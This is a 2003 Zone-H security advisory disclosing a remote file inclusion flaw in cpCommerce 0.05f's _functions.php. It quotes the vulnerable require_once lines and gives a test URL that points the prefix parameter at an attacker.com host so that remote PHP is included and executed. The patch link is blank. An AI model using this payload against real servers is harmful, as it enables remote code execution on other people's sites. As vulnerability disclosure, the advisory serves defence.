ZH2003-31SA (security advisory): file inclusion vulnerability in cpCommerce
Published: 19 October 2003
Name: cpCommerce Affected Versions: 0.05f (and other versions?)
Vendor: http://www.cpcommerce.org
Issue: file inclusion vulnerability
Author: Astharot (at Zone-H.org)
Description
**********
Zone-H Security Team has discovered a flaw in cpCommerce. cpCommerce "is an
open-source e-commerce solution that is entirely template and module based.".
Details
**********
There's a file inclusion vulnerability in the _functions.php file, line 13-14:
require_once("{$prefix}_config.php");
require_once("{$prefix}_gateways.php");
Is it possible for a remote attacker to include an external file and execute
arbitrary commands with the privileges of the webserver (nobody by default).
To test the vulnerability try this:
http://www.vulnsite.com/path_of_cpcommerce/_functions.php?prefix=http://www.attacker.com/index
In this way the file "http://www.attacker.com/index_config.php"; or
"http://www.attacker.com/index_gateways.php"; will be included and executed on
the server.
Solution
**********
The author has been contacted and he published a temporary fix in the cpCommerce
website forum, waiting for the new version.
The patch is avaible here:

Suggestions
**********
